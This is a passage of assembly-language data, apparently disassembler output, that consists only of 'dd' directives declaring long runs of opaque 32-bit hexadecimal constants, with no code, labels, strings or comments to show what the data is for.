		dd 8C3E12D5h, 1950B609h, 0D8698483h, 0A92AA6F1h, 3FD0AC1Fh
		dd 9F81E2BBh, 3540F11Bh, 1B230F6h, 0B602340h, 4D8D2956h
		dd 0B29C12F5h, 4EDFFE6h, 40A81362h, 830761E4h, 85C7FCA0h
		dd 5DA5E1B1h, 1F00983Dh, 0B44FF08Eh, 0F9851309h, 0F39D900Dh
		dd 16B8DEB6h, 8AB2C584h, 2786D695h, 250B48B7h, 2DE306D3h
		dd 903F906Bh, 27266965h, 770072C4h, 4E3299BFh, 383050D6h
		dd 4439110Ch, 0E8C10187h, 20EAC10h, 3FC4CE0h, 9843584Bh
		dd 7736EBE7h, 0E648136h, 1B8C857Bh, 0D0282950h,	58331821h
		dd 57420113h, 31A9481Bh, 270DD8C0h, 296F272h, 47385B2h
		dd 6180D4BDh, 93E59BD5h, 0D6801460h, 0D80FD201h, 0FC240F9h
		dd 0D696FEBFh, 5D753969h, 0DA4FA768h, 95A24300h, 3B3EFBB5h
		dd 60573653h, 3E023A2h,	50BA49FEh, 465F6125h, 75F8ED63h
		dd 76F3BF2Bh, 992B6D0h,	51FC63F0h, 5BFB3082h, 13C23FC1h
		dd 8CFED50Fh, 0C72CF925h, 4357406h, 93E0D4E6h, 3300791Ah
		dd 0FC8A65E0h, 0B6D5BD01h, 0FF96193Ah, 88FA1515h, 0F300D21Bh
		dd 0AE907DDEh, 158576Fh, 269BC0B5h, 705B149Dh, 3FB39693h
		dd 298AE78h, 5A745B2Dh,	0E0B14Bh, 0FD820CC5h, 0B0022E4h
		dd 0FDEF9D43h, 0AC9252C9h, 0C6F950C5h, 44418A4Dh, 195F65CDh
		dd 0BC446DA7h, 345D002Eh, 0DF81B0FDh, 0E44CDC3Eh, 0DD8517A1h
		dd 0EA9BB853h, 8E0FA282h, 0BF00CCE4h, 6B8BF034h, 0D7C48689h
		dd 84E5DB17h, 38F72A71h, 41B0CC46h, 0BC05EFD6h,	0FDFF5323h
		dd 96ACBF0h, 4C28302h, 60434D55h, 4FAF4E5Dh, 16577D0Fh
		dd 408374FFh, 0D72E8022h, 5009F5FDh, 39ED5720h,	0D8293E60h
		dd 999300F6h, 6A3016AEh, 0C92CBD89h, 5541A92Dh,	55DAECD0h
		dd 0F85B20D3h, 66F2D3h,	8834426Dh, 4AEF809Ah, 80BA7695h
		dd 0B6E394BEh, 0EE00931Dh, 0D87105C7h, 0E819E7AEh, 6D9F2846h
		dd 9B844F4h, 428294D6h,	0DE345C6Ah, 132F83Ah, 0BD2BB285h
		dd 722E1649h, 0CD61FCBDh, 0F7855569h, 1F6A4F60h, 0BBC9700h
		dd 0D098DBFAh, 5B4C967Ah, 42574905h, 0B8015D3Dh, 0E922028Ch
		dd 69C868BEh, 1D102B5Ch, 0EC9CBB03h, 0F4BC6F18h, 3E0029A9h
		dd 83C3CA59h, 0B6EEDh, 0F47F6B9Ch, 34891F19h, 3231F2C4h
		dd 0F17233Eh, 0BD2BD2F6h, 0DC14482h, 39918A05h,	11E22AB1h
		dd 26DD3343h, 86366BFAh, 0C8504A20h, 5300905Fh,	20660FDAh
		dd 0DBE6824h, 8E3E84D9h, 0FAEDE6B0h, 43B5EDE0h,	125BE267h
		dd 0F6AA7786h, 1D8508C0h, 2F614219h, 3BD1BB21h,	0CD2C1649h
		dd 1DD8D680h, 9A979E55h, 0E95B57DAh, 3F106058h,	0D3874938h
		dd 6BF728D4h, 0B8517898h, 99FC209h, 4407D17Ah, 0B5894238h
		dd 970550C5h, 0D157F53Ah, 35EAF803h, 3E20809h, 1F6780Dh
		dd 0DB81D88Bh, 0FE6D79F2h, 8B71CA5Eh, 9D370108h, 9562856Dh
		dd 0F0765039h, 0FFF2380Eh, 1976EDBh, 4588E52Eh,	237C1764h
		dd 0DBC18B12h, 0D53780CCh, 97E29311h, 0A4CC59Ah, 2245B2A0h
		dd 33C9081h, 0BC55CB81h, 3942E8C1h, 0B9AE3201h,	8CF70187h
		dd 4CA14E0h, 0E87A7E30h, 0BD9C400Ah, 22349CFh, 0B501554Eh
		dd 10605B4Fh, 1609BF60h, 5D318252h, 0FFE4FE0h, 0C70A93EFh
		dd 55900CC2h, 2C580AD3h, 8A8E1AE3h, 482040DEh, 6D3ED502h
		dd 0FA7B78FAh, 5F0BF00Bh, 516522B3h, 0E8A815Bh,	0ED2AEDA8h
		dd 5B79B842h, 0F1A61278h, 0B8BD7902h, 5F35001Bh, 19C4E16Dh
		dd 7E48474Fh, 26495E77h, 0A0D50090h, 0FBF50A2h,	69455A46h
		dd 0E0C9F672h, 68E289F5h, 0A59AB8BAh, 743B1740h, 3F090ED4h
		dd 29FBCAA9h, 886E0A54h, 6D60C116h, 24753ACCh, 0C3BECFFFh
		dd 906961DAh, 25CFCD5Eh, 11C0FF59h, 5E82245Dh, 1464511Dh
		dd 0C43121B0h, 81FC02C5h, 0C9CA8A49h, 8C70F6E2h, 144400A7h
		dd 0E9606660h, 0A0803196h, 0BD2C8806h, 5CB302DFh, 61D179E8h
		dd 0B52DBCC5h, 3A6A0708h, 0E80EC4E9h, 0A818B118h, 36AC2A09h
		dd 2B0203FCh, 0B305394Fh, 706D5B38h, 1B0973D3h,	0D1F86265h
		dd 0B70F8706h, 8B6063DFh, 85C161A2h, 0ADB51014h, 0F1FAE8h
		dd 20A56E9Fh, 26BD7DEDh, 3C020DF0h, 0BAA0FAEEh,	61F35790h
		dd 7F0FBF58h, 0B3980375h, 1BD07FA7h, 0E8FEAAD0h, 0A85284Eh
		dd 88BBCFFFh, 0CEA5C016h, 895C5736h, 4E032006h,	0BB2A985Fh
		dd 87345809h, 0A505D11Ch
		dd 808B3575h, 58FF08A8h, 311D684Dh, 0D5E56ADDh,	61801CB5h
		dd 0EF74EEAEh, 54160AAAh, 2C59890Fh, 10E90907h,	98D35D5Bh
		dd 4C8AF105h, 92563F4h,	695E9462h, 415237C4h, 3D9D2B43h
		dd 6C5E3A30h, 2ED48ED7h, 1C11DECh, 3A3111BDh, 0E4D87820h
		dd 810F2E71h, 9D594989h, 49E75E02h, 80A9D90Bh, 0FB617C9Dh
		dd 2098DDCAh, 4E023D20h, 0EA90925Bh, 93095F12h,	51008A79h
		dd 0A282BF66h, 8E189D5Bh, 3243BD9Dh, 0AA6BB412h, 1A17DA90h
		dd 0E8F200F5h, 5EC5C0BFh, 0DF13AC49h, 8FA47828h, 12C72780h
		dd 6A578841h, 2B5F8C02h, 99C760C8h, 535FD204h, 0E9C1A57Ah
		dd 57658902h, 4087D05Fh, 7A98090Bh, 0DA4E27D9h,	0BF86033Ah
		dd 3A34EC6h, 2756105Ch,	348249D8h, 75D96012h, 271DE200h
		dd 54B788h, 7D49A113h, 848AA61h, 0C07E1F4Ch, 2F5B3E1Bh
		dd 0BDE50E25h, 0AD615A1Eh, 3A42E961h, 83F87522h, 0A2949ABh
		dd 1E198DD1h, 0A2DF1353h, 12272290h, 0F4898D29h, 18A1A5CCh
		dd 49354FEh, 0E828B190h, 990B8B81h, 0BD042F6Ch,	1D9E8482h
		dd 29858902h, 60509A58h, 31880680h, 0C2C57B95h,	19419D55h
		dd 856A6103h, 7EE066B6h, 0B52509F5h, 8CC41335h,	0A077A7ABh
		dd 1757F321h, 57B983Ch,	0C2F5BFAAh, 505DB971h, 18C2F289h
		dd 0C6181A70h, 359D2A81h, 801D116Fh, 0C9145695h, 104B0B1Bh
		dd 24A4893Dh, 454C81DFh, 3BB00427h, 2B0D41B1h, 0E508BC25h
		dd 44D9A807h, 2B25F801h, 79DD64D2h, 0F5940022h,	31FC8C4Ch
		dd 1E9DCAA9h, 0DD53500Fh, 49548A11h, 88810743h,	1FD647Bh
		dd 0E8A44FE0h, 2A5B97F1h, 6A408E20h, 0E7300449h, 0BB880D5Fh
		dd 0E3A075B7h, 0D495AE71h, 0CACE69ACh, 7EC8F695h, 2DAC2E50h
		dd 0FF5CDDAAh, 0B9E755E9h, 0C7012FE5h, 224B3D8Ah, 4B499220h
		dd 0C9FFCB12h, 5B60429h, 8975D214h, 5FE33456h, 69E39497h
		dd 0CD5725BCh, 0F44D670Bh, 3BF5AAF8h, 1C7735E4h, 79E00893h
		dd 0EA4427ADh, 100B8200h, 72FFA27Dh, 0C5DE00CBh, 43BDC82Ch
		dd 8912FD2Fh, 8504567Ah, 5B0E1805h, 874F6132h, 2660130Bh
		dd 812F6D2h, 61121DC9h,	30B56B04h, 4B16F712h, 0A28F929Ah
		dd 0B711680h, 0D7098099h, 5DE1FFA0h, 0D26734EDh, 0E00DFB10h
		dd 2213017Fh, 0CDE38166h, 0ED282F48h, 0C8418A2Ah, 0C9282FFAh
		dd 0D4958635h, 4C127EB3h, 0B4F29FD1h, 6649D48Ch, 8260BB1Ch
		dd 8F37A7h, 0BC82D4E6h,	60900AC4h, 60898FA2h, 24B0B770h
		dd 9704B920h, 0E35B9209h, 25D79370h, 29E4F66Ah,	0A2D2F84Bh
		dd 4BED1A90h, 0C1CFA540h, 0B8AF00A1h, 4237DD80h, 8D588960h
		dd 0D18A87D8h, 0A5CA5B69h, 927D9FD7h, 9874007Ch, 71C22267h
		dd 5920C6B8h, 0B61A970Eh, 2EA58982h, 87B15004h,	783E1A3Ah
		dd 0D9F98187h, 50C43479h, 863EEB9h, 0C06FA8Bh, 585A6160h
		dd 9DA6F504h, 43E90F50h, 0DE3B4A17h, 0D90E315Fh, 0B87D6958h
		dd 0F3880053h, 0BA98D58Ch, 0BA956552h, 5089533Ch, 0B03B26C4h
		dd 1C884E0Ch, 7C780AECh, 8321B2h, 3E89D9EDh, 0DD77C639h
		dd 5A0F583Ch, 411D97CCh, 62242E17h, 95BC2AEDh, 0A2DC5B00h
		dd 1B358FE8h, 0F0575CD7h, 3908F510h, 4A9FA45Fh,	86B7A7h
		dd 9D99303Bh, 0A7B06D7Dh, 8FB20F83h, 0D5A55A74h, 63CC7BA0h
		dd 350094B8h, 14428D92h, 2CED9185h, 9575BE4h, 0C77B2B25h
		dd 0C0E2EDA7h, 97DD20B5h, 0ABA71F12h, 1715F704h, 7DE3AEh
		dd 286D446Fh, 1243A3F6h, 0F7E0F735h, 890125F8h,	8EF57119h
		dd 12148D0Fh, 0F9DA884Bh, 0FD01E4A1h, 562528D9h, 0C01E58C5h
		dd 35CBFFF1h, 85F4CE0Fh, 0E05F2510h, 12B2BF80h,	103EB35Ah
		dd 3417F191h, 0E048B624h, 1F90CF8Eh, 0C0DF98E0h, 7ABB5360h
		dd 92CB73Eh, 0F70E545Bh, 7B64E961h, 0CB5A589h, 64B36700h
		dd 27A4B4B5h, 0A341ACBFh, 57680003h, 1A820699h,	0D281F3B7h
		dd 9D9AA81Eh, 6D098D6Ch, 69617919h, 2D50CC73h, 53E316DFh
		dd 0FF1702BFh, 1C799067h, 22C8FB00h, 0E2E528Dh,	5B9946EAh
		dd 0C91B1700h, 240330F0h, 50D4B6F8h, 6C529253h,	905F2D49h
		dd 134CB9C2h, 0DA8B511Fh, 0A99B6196h, 1078781h,	4E3D2F77h
		dd 0C8A99B3Dh, 9A98FDC7h, 811EBC0Eh, 327F62DBh,	51755C4Ch
		dd 5F7B7A27h, 3B4E1100h, 0D6E2CD43h, 9208E948h,	4BAE3CE3h
		dd 0F58067DBh, 3514B261h, 385E1209h, 0BF0B0497h, 95BDF980h
		dd 649C9725h, 528A0444h, 0F5C4C4D8h, 0A020B703h, 7F0D88h
		dd 0F915C926h, 0F5DC6535h, 1FB2049Dh, 6FD6ECA9h, 0ABC709CEh
		dd 0A6647BA1h, 9200D649h, 0FA59CEDEh, 4B7711F1h, 2BBC8DCFh
		dd 0DE621C04h, 3C25FBCh, 33E9A9BDh, 4976096h, 0F9F2818Ah
		dd 54F25077h, 0DD854094h, 2C00BCAAh, 0A173C171h, 59DDAA9h
		dd 398D29A0h, 308A292Bh, 8B880257h, 129897FBh, 4520BD29h
		dd 0C3810232h, 3A878CA6h, 0DCE8185Eh, 1215465Ch, 0EF6DB11h
		dd 3F3019B2h, 76D80AA9h, 8FAF7CDh, 0CA2507FDh, 0F491D40Eh
		dd 0E02E8800h, 1DB1A956h, 816701F4h, 0C42504CBh, 218F6035h
		dd 59CB055Bh, 17B85B48h, 0BFDA098Ch, 1015E42h, 2FFCA9F7h
		dd 80821D1Fh, 5C5F41F3h, 25F920F4h, 0CDCE499Fh,	96359Fh
		dd 63E172CDh, 810255BFh, 0C9BD71D3h, 6BB65C2Bh,	50C12BEDh
		dd 3CAEB8BFh, 0D100DC4Ch, 0E5E8D85Bh, 48C04AC2h, 62250A6h
		dd 9DB5291Dh, 0FB72ECE4h, 50665043h, 0A5B5893Fh, 0A0F4CE0Ch
		dd 30CE4F77h, 0AAD45389h, 5C5D7A0Ch, 0C26E4A49h, 97C62300h
		dd 3195C29Eh, 0F568572h, 0EA025465h, 0C28DD94Bh, 125CF3E8h
		dd 0E2378EB1h, 0A85288A1h, 22952681h, 6ED84D16h, 8677DD70h
		dd 4889096Bh, 44622621h, 0B82A9860h, 0BB2D8195h, 0FB609424h
		dd 9AFC9596h, 764C36D6h, 0F3011584h, 4D50CAB4h,	6B2FD88Bh
		dd 192376h, 0F884B307h,	0F268A16h, 0BF61888Bh, 0DD2B32CAh
		dd 0A76A2ECAh, 0CDE4C100h, 0D3C6576Dh, 166FBB3Dh, 256E0B19h
		dd 0C0171423h, 0BCAEC830h, 0DED0EF0h, 5DB592h, 0F7972591h
		dd 6A042ED2h, 0FD8B5E77h, 0E36C12AAh, 0F6CA4A26h, 5BA02422h
		dd 0DA2509EEh, 94F6C607h, 0E24240C8h, 0A40038C5h, 6F49F3B3h
		dd 944C0B8h, 0A2BEE31Ch, 9695EA70h, 78D09BE2h, 0CA0EDBBCh
		dd 20450B3Dh, 0E9D5CBDFh, 0C1E2953Bh, 0D409C56h, 3844Ch
		dd 71EF014Fh, 74942902h, 0B40033F8h, 0E05BB98Ah, 0EC11BFFDh
		dd 17527885h, 0DBC18BF9h, 299480B6h, 8ED1E46h, 1D69B509h
		dd 64BC8B2Fh, 975100CFh, 0A3260943h, 0E77D40B3h, 0ACD874Bh
		dd 2B49BA41h, 0ED5033Ch, 38D4C5BCh, 0BD096292h,	0B1DA5711h
		dd 0EDB86B13h, 0E4F040B6h, 60B07F6h, 24A5C35h, 91CD15Fh
		dd 0DDDF3800h, 0C0568369h, 71CE030h, 0E8AE75DCh, 8B9003CDh
		dd 43B350D9h, 545EF5B3h, 8256A709h, 610F1B8h, 32931A5Bh
		dd 0C5DB5D78h, 0CC8D0F66h, 3597FA5Fh, 801891BDh, 91B49083h
		dd 978D71AEh, 467C07F6h, 1F22001Ah, 6DA5ED58h, 7C109FFFh
		dd 5F009B77h, 0F8176773h, 0B63133h, 0EA1618E3h,	0AAA83F9Eh
		dd 0ECD1FF2Eh, 0BF873760h, 5A70769h, 0FE44A311h, 0CCD8BDC4h
		dd 1E014729h, 495640BCh, 53DC5494h, 0C15B0348h,	0EF0B0FB5h
		dd 2EF48EB1h, 91C7FA28h, 1816F9F2h, 0BB6424E9h,	0B38E0224h
		dd 0F38428DAh, 26A457Dh, 0C5E0D5F6h, 4A121289h,	8804FE30h
		dd 9009050Dh, 57502721h, 0B8BAD860h, 0F31F5A79h, 0D9E55F61h
		dd 0D626003Eh, 91082AB6h, 0DD8A9A0Bh, 2555705Bh, 30EE7A35h
		dd 2D0359Dh, 52941F4Eh
		dd 1D409F74h, 0F6F673C0h, 7DBF0FFBh, 0B4F2BC47h, 6400A86Ah
		dd 0F0873248h, 260CDBCEh, 4DB3913h, 0F29D2980h,	0F55B1D88h
		dd 0E50D257Ch, 0B875885Dh, 43BC6D49h, 0BD8201C6h, 29577D62h
		dd 41D4D87Bh, 0E1102032h, 51A7184Bh, 44E5C240h,	0C497500Ch
		dd 0C0A901D3h, 0CBC26C0Fh, 0D8256B0Eh, 0AE002CF2h, 0BCB2D9A4h
		dd 9D7F6F14h, 2D43DB04h, 0B6BA905Bh, 7D2BB0F2h,	0CACD099Bh
		dd 6904EAFFh, 0A44FBCE6h, 4DA9CAB9h, 271551A0h,	9EFD0CCh
		dd 2E0DD9A1h, 98497E8Ah, 48028CACh, 22B6DE4Ah, 4B3C67Bh
		dd 0F96A1082h, 0D07BBC9Ch, 18D10CEh, 0DB2EFB7Fh, 89EC8170h
		dd 0BD2F6985h, 3F514FCh, 0A53188F8h, 0EF6B37CCh, 424B8243h
		dd 1C335E7Ah, 0E6022280h, 0B98D0970h, 9F2A5D24h, 0A3AF60C0h
		dd 203E5E8Ah, 2520C8ACh, 0F51CEE05h, 0BADEF417h, 0A99DA242h
		dd 66795F03h, 0E58D3182h, 51C1221Dh, 21F98C83h,	986514Bh
		dd 0C185693Ch, 2B030C70h, 319589C8h, 0D13D090Dh, 9D84BF0Fh
		dd 9D0B427Fh, 257F44B5h, 9CE40885h, 7075FD69h, 0F560C405h
		dd 8B30BA1Eh, 8C0331BDh, 4F251D45h, 133824E9h, 122BBE45h
		dd 0A657FCEFh, 2C1D314Ah, 82FF8D87h, 0AFBB6603h, 44F35CD7h
		dd 0E3814023h, 415C6F68h, 92190437h, 0FE2CB198h, 0F8E5AC08h
		dd 0EF309713h, 30B937A9h, 0AC181DF1h, 0E0D86300h, 0E6E88350h
		dd 0CFA150A9h, 93849521h, 0BC65AD6Ah, 7EA6288Ch, 0B94170BBh
		dd 2FDD09B9h, 5E690779h, 9900D43Ch, 6649DD0Ah, 25BAB2BFh
		dd 960A9AB9h, 164BDEB3h, 0A6EB14C4h, 0C5C1B15Dh, 3D345FD5h
		dd 0FC8D04B5h, 910D9D33h, 89C02B69h, 0D1F228AAh, 0D9880095h
		dd 0D7FB2C9Eh, 6873E277h, 0A00FA326h, 74D22B09h, 1C46FE11h
		dd 1CA9640h, 0C2BBF0DAh, 2AFCB550h, 3269C504h, 2EB212h
		dd 0B257DA5h, 7D8094Dh,	3CDF60D6h, 0D3185040h, 8D482F53h
		dd 59897098h, 0FF4D027Bh, 3875880Dh, 39EC0561h,	1A807D42h
		dd 0A80F3CBCh, 234F56DAh, 1604C235h, 0FDB91DC9h, 451248D4h
		dd 0F5DBE226h, 0F195BB04h, 42A2CEB8h, 0D058FB5Dh, 0A60521C8h
		dd 0B095CFB9h, 0C84A68ECh, 7E09BFA7h, 717C90C4h, 1ABB8095h
		dd 0FF61A58Ch, 0B529E105h, 0B7B70B49h, 4A69F62h, 120AD10Bh
		dd 2B00D914h, 8AA75E28h, 0AC9AE82h, 14510F6h, 86C4EAB2h
		dd 747BAF58h, 79D29800h, 6067C5BBh, 2DC77BEh, 0B4E3F2FEh
		dd 635CF87Ah, 0E278C823h, 0C8C20083h, 29769463h, 104BA58Dh
		dd 8A768599h, 49E44DA0h, 0A5852912h, 442BBEA1h,	0EB013484h
		dd 0EBF46EF6h, 1C555BA1h, 0F348B2F3h, 54C5AD25h, 52C9E82Fh
		dd 0EB10BF60h, 0E6000869h, 9E7C0449h, 25EB4399h, 3A715FFAh
		dd 40240442h, 0BD1DAD39h, 1B91BC1Fh, 5E0B4080h,	0E217F277h
		dd 14334D55h, 3087D01Ah, 969002F5h, 32D59D03h, 99685F00h
		dd 2E1217DEh, 0F4953060h, 0BB042858h, 615B51DAh, 6609ACA8h
		dd 0FFD00DDDh, 4A0C6559h, 6A7A6CDDh, 0C7700064h, 0C680FB67h
		dd 84924B26h, 3A05F1EFh, 6A26516Fh, 0BCE700F2h,	23EE923h
		dd 97F456BCh, 89E020F4h, 9729F5BDh, 8EBB2838h, 645EB412h
		dd 8000F6B3h, 0B50103E7h, 0BA951E6Dh, 0A7F354F9h, 73D0DF5Bh
		dd 3F90BDD1h, 7D0219F2h, 0F0BF5831h, 51FFD696h,	8F81E689h
		dd 26D8BCCBh, 0C07A4C72h, 9D451378h, 0B5400071h, 0F6F9B438h
		dd 0BE4BFDC2h, 8DB62685h, 0A89047E0h, 1F8F517h,	448AF4F0h
		dd 58585702h, 7B6EC06Eh, 5301CBh, 47C031F5h, 0FC93AB49h
		dd 776FCE04h, 0BE826ECDh, 50A540CFh, 0D70ECB60h, 7698E47Ah
		dd 529B964Eh, 43EB4A80h, 99030A3Dh, 2EBFFB97h, 71E9A766h
		dd 0E47B2766h, 59B6B78h, 0A70DA023h, 1DB369h, 0A418932h
		dd 94CD95h, 5E0FC248h, 0BBFF2193h, 0A0A74597h, 2E6C031Eh
		dd 21CA87DCh, 936933D0h, 1F3BBA01h, 60BE18FBh, 56093C36h
		dd 4689615Eh, 0A4E8C5E4h, 6346E400h, 0E53D147Ah, 94D74E05h
		dd 218FBD93h, 0E3BB00DAh, 5816F5D3h, 6880F11h, 59BD0B09h
		dd 3A8DD741h, 1823326Ah, 5B0390Dh, 4A36056Fh, 8BAAE4D6h
		dd 64D2F86Bh, 128D01BEh, 0FC4420C6h, 36EAB189h,	5232DE8Bh
		dd 4646A97h, 418FB456h,	0B69C20BFh, 2E3948D0h, 348830A0h
		dd 4CDEB5Ch, 7A06A29Ah,	0C8B180D9h, 3317F04Bh, 6BDB615Fh
		dd 98911680h, 9C5834B6h, 2571109Fh, 4DEBCF4Ah, 44BACF5h
		dd 0CCA841B7h, 5C3CAEF9h, 47A29610h, 2C3308C5h,	56B4ACDEh
		dd 0F3954AB7h, 9D08AF0Ch, 3F792909h, 0B92FBE75h, 2937ACE9h
		dd 66A16633h, 81EC5714h, 0D962499Ch, 2A82092Dh,	595422D1h
		dd 6753F358h, 0F4F12E6Ah, 0FB65AEE9h, 8421E330h, 3B837246h
		dd 3E89F040h, 27704801h, 49F6ACBCh, 0B64AB894h,	301AB2FCh
		dd 1002C7D3h, 0D2A96979h, 38A454F9h, 66F15044h,	0C2E0F7D2h
		dd 9DD2FA3h, 693759Ch, 12546059h, 0E3F832A9h, 12013BD8h
		dd 0EAB90E3Dh, 0B8C6C4D2h, 0BBCD4A23h, 97061A70h, 5939A16h
		dd 0B688558h, 0EDA83839h, 5E149418h, 698B8A00h,	0BF8F72FBh
		dd 0D03D1FA1h, 90A50049h, 0EB8141E6h, 276FBBA0h, 0A99D5B4Bh
		dd 77316A7Ah, 0BB28F800h, 1582599Bh, 84FB4B8Bh,	31DDACAAh
		dd 2050F316h, 1EF16A76h, 654C93A6h, 0CAAD71C4h,	0F88C1AACh
		dd 9CA40543h, 0AC5CFA72h, 0F346C3DFh, 0B1D198F2h, 1FAB25D5h
		dd 2B6D4C6h, 0A48A16DCh, 609CB085h, 0C5201090h,	0B50B080Dh
		dd 61120E31h, 0DBD5352h, 4C05C8ECh, 4920E171h, 2848B9E3h
		dd 5060F44Ah, 5C875CB1h, 0B370F533h, 73716Eh, 5DBD4A51h
		dd 20953F81h, 0FFBB7D12h, 5F631F04h, 3C4CC8B8h,	0D10F6D13h
		dd 2F071D00h, 0B829122Dh, 0A31297A8h, 210296F2h, 4A019531h
		dd 91BA551Eh, 0E050825Bh, 3172027Dh, 8D892EC7h,	65A5C9D6h
		dd 413D11F0h, 6E4B7F99h, 36D996h, 2914F6F3h, 0C705CDC6h
		dd 62A347BAh, 486537C9h, 168A274Ch, 2D8BE59h, 26FEE638h
		dd 0C1CE53E2h, 6C08575Ch, 9BF9FA0Ah, 18167156h,	287F256Fh
		dd 0D9DCEC6h, 42AE9D2h,	0ED4B4C43h, 0EA2964Dh, 37CF8103h
		dd 29C8868Ah, 45AA19Dh,	0F95D8CF7h, 0F30696B8h,	0F4B658C2h
		dd 7A92594h, 5C13B3C7h,	5CB019F7h, 0ED09CB37h, 5C46A186h
		dd 29B5E9C5h, 8D114780h, 1645DFBFh, 837ACE1h, 1A70355h
		dd 0FCC78010h, 0F9EA092Eh, 0B5E9EB71h, 0BD69823Dh, 0E35CB6E9h
		dd 0EDC18B09h, 2971C0BEh, 0E9E491F9h, 9D23FB04h, 0F0E0685h
		dd 0C45EA8B6h, 0B7120DC1h, 32CD10BEh, 9C749024h, 0B7614760h
		dd 670039D1h, 9D4BB3BFh, 4E905340h, 0B36F6Ah, 9D40C94Bh
		dd 0B98BA1Eh, 0DA8BB599h, 1714E854h, 0A50592E4h, 560327F1h
		dd 0F2EDC7C2h, 77A2D7F5h, 0FCADC9BDh, 0EAD52AB3h, 0C659BC99h
		dd 0C30504A7h, 291000E8h, 3A6A9359h, 9D095E0Bh,	0DC00A96Dh
		dd 0B74D2578h, 0FC7B39C0h, 0B2D40A96h, 0C2BF800Fh, 71840541h
		dd 0D3B2B9FCh, 0CB828FDAh, 86820B02h, 5B092D31h, 35EDA5B6h
		dd 0C0304947h, 0B433527h, 0EEFA94E7h, 15F10C02h, 5FD1FF02h
		dd 0EB00C637h, 0CD89967Bh, 1B5A90C0h, 0AE66518Eh, 0D9A05BCBh
		dd 474B1B8Fh, 7223AC8Ah, 0C0219FF3h, 1C45830Fh,	4A6A5CF0h
		dd 4341A102h, 0FDC7181h, 0EDA4FE50h, 0A8C2BB40h, 1E6649DEh
		dd 86BF9B5Fh, 2764C4CCh, 91CE29F5h, 34E58976h, 347AB3E6h
		dd 0C50CBB25h, 0C7CC8857h, 1C467Ch, 0B190A6D6h,	674A05C6h
		dd 11CB2869h, 5A1C95F3h, 1633C46Ch, 0F8125E0h, 9BB2B4EBh
		dd 476E352h, 6259D31h
		dd 887AC250h, 0FC1252BFh, 0E05674F5h, 42AA88h, 0C5F9057Fh
		dd 0EB4B44CDh, 0D5D4E22Ah, 0C6F5E29Dh, 884E0073h, 58072864h
		dd 0AC00E6C5h, 0F06F71B2h, 992F366h, 5FDF8B6Bh,	6C5B5BA9h
		dd 34D38100h, 9773B909h, 0D4254733h, 0AD9973DAh, 6C41794Dh
		dd 0D26BB34Bh, 0F9A955B6h, 0A770D45Bh, 0CD3F0069h, 338DDDA6h
		dd 3097FB34h, 80010233h, 6125BD23h, 2067712Ah, 70E63AD1h
		dd 7C668AADh, 0E4C6D400h, 9DB8171h, 9752E2FDh, 1C31282Fh
		dd 10529D33h, 98244B8h,	956AFD8Dh, 4F0438C0h, 0C46C6A25h
		dd 0DE8A2C32h, 8A6D3967h, 2C162B3Dh, 3FC35102h,	372B5CE2h
		dd 0FB4C617Ah, 38932B02h, 292084B9h, 19441195h,	0BD098891h
		dd 86CD55FBh, 0B496F901h, 710FA109h, 0D302434h,	3E0E7509h
		dd 964FCCCh, 0BC268830h, 1E4E3672h, 4C0043E7h, 580AD29Bh
		dd 7E00FEEEh, 0DB73738h, 0E4C25F64h, 0C9494FE9h, 2ECEE59Ah
		dd 33AC3734h, 27DCE34Eh, 5E2075F9h, 0A9862546h,	0FB810100h
		dd 0A67B5B2Ah, 723301A3h, 476893D7h, 46702E61h,	8413D19Dh
		dd 72607B82h, 5B4BDEB7h, 42434698h, 0B0EE5648h,	30802B64h
		dd 814030D3h, 1C161BCFh, 38040DE4h, 1DB8228Dh, 0A814EDB4h
		dd 6C900BCBh, 3306D44Dh, 0B9134DE1h, 3FA70F9Fh,	89B513A0h
		dd 0BAA6A274h, 37B43Eh,	9A4CBBBAh, 55846CBh, 1EFA243Ah
		dd 0C9D90279h, 0F854E8A8h, 3A52E180h, 1DE8DF6h,	8B608FD7h
		dd 6A332595h, 96082897h, 7AEE861h, 5EF380FCh, 0DCA5DC49h
		dd 644BB025h, 0B5891762h, 2B8A42A9h, 415CF9D2h,	50295BDAh
		dd 25053CB2h, 50DA9BD4h, 0B34A4CECh, 0BC344D45h, 0E45A04FFh
		dd 82BF28ACh, 0CB426FC9h, 95C7F077h, 1B644A6Dh,	0BABB4860h
		dd 58DD9304h, 4EB8DE9Bh, 4971F5C9h, 902B5158h, 5B124061h
		dd 574D1497h, 6EE08179h, 5026BB2h, 81AFE01Dh, 2B106099h
		dd 0B5EEA609h, 0AB0CC184h, 0DA2EE62Dh, 1FB184D0h, 0EAF2EFh
		dd 84370F11h, 944D8D31h, 305F13F9h, 14CF327Fh, 0FF95F009h
		dd 0A92682E1h, 71845C07h, 5B8DA7C4h, 870A7060h,	4145582Dh
		dd 8E6B08C4h, 3AD13C3h,	0C1D19BEAh, 7C3DD53Bh, 253A28FCh
		dd 0B4C57D14h, 3D25461Dh, 6AAB0521h, 3404EE02h,	8C443269h
		dd 0E087F6D9h, 2AD77CFh, 0B7E9BF22h, 925C2133h,	4DE7624h
		dd 6F8603EDh, 358EB9FFh, 20AA21ECh, 56EB8FFAh, 65509200h
		dd 60886AC9h, 4C990051h, 0FEE8AB70h, 0F92534B0h, 0AFFD5B5Bh
		dd 0D840D04Dh, 73F18C4Fh, 0D4F50013h, 0B1E3812Bh, 0F4BB447h
		dd 48D9AA9Ch, 19129090h, 31058723h, 2D5B5F53h, 6D902FDDh
		dd 70B4C38Eh, 0E1843A5Bh, 2FA129EBh, 2FE0C2h, 0B66CD468h
		dd 9513027h, 12E15B7Eh,	2B8DE05Fh, 30A96F09h, 0B23651F9h
		dd 675CFBC8h, 0FDCDDD69h, 7EBA2C60h, 6200BFDCh,	9BE98636h
		dd 957AC082h, 9C224B31h, 0B14BB746h, 961B438Dh,	0F9499BC2h
		dd 8960585Ch, 8324D59Dh, 2D5D8DB0h, 64642EEDh, 7EEC298Ch
		dd 0AD69046Fh, 0BD319D09h, 100632A6h, 0AD025075h, 6019C42Eh
		dd 0FA1CADh, 0BB174CA6h, 5AC592C8h, 89550997h, 153AF162h
		dd 9596E152h, 82E4DB71h, 78DEAD7Bh, 0EBAE97A0h,	0AE3035C5h
		dd 2C680570h, 0E65701C4h, 0CEBB6053h, 210EE162h, 815BC429h
		dd 0D3240402h, 7C19C73Fh, 0DE2CDC1Dh, 31E13282h, 8F84299Dh
		dd 0AC2EE380h, 4BFD4CAh, 56EA0C6Dh, 229927AFh, 38D50B8Dh
		dd 93B07FEh, 0CBAEAAAh,	0EDB399E4h, 17888D78h, 0F6646A7Dh
